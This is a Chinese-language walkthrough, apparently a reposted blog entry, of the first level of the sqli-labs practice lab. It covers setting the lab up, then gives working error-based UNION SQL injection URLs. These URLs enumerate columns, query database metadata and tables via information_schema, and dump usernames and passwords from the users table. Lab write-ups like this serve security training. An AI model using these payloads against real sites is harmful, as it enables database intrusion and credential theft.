sqli_labs第一关

安装

https://github.com/Audi-1/sqli-labs下载源代码

搭建环境用的是phpstudy

编辑sqlisql-connectionsdb-creds.inc文件 修改mysql链接数据库帐号密码。

为了方便看见sql语句,在$sql这句话下面添加echo...这句。

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
echo "your sql statement is ".$sql."<br>";   

实验

第一节:GET – 基于错误 – 单引号 – 字符型

添加id=1正常,id=1' 报错,根据报错信息可以看出来,输入的内容被单引号括住了。

http://192.168.2.132/sqli/Less-1/index.php?id=1'  --+ 闭合单引号

http://192.168.2.132/sqli/Less-1/index.php?id=1'  order by 3 --+  order by 3正常,4报错.

http://192.168.2.132/sqli/Less-1/index.php?id=-1'  union select 1,2,3 --+   爆出位置

查询当前使用的数据库和基本信息

http://192.168.2.132/sqli/Less-1/index.php?id=-1' union select 1,2,concat_ws(char(32,58,32),user(),database(),version()) --+

其中concat_ws()的第一个参数是连接字符串的分隔符,user():返回当前数据库连接使用的用户,database():返回当前数据库连接使用的数据库,version():返回当前数据库的版

查询数据库security的表

http://192.168.2.132/sqli/Less-1/index.php?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where  table_schema=0x7365637572697479 --+

查询数据库security的表user下的列字段

http://192.168.2.132/sqli/Less-1/index.php?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where  table_name=0x7573657273 --+

查询值,帐号为Dumb,密码为Dumb

http://192.168.2.132/sqli/Less-1/index.php?id=-1' union select 1,2,concat_ws(char(32,58,32),username,password) from users --+

原文地址:https://www.cnblogs.com/cui0x01/p/8646468.html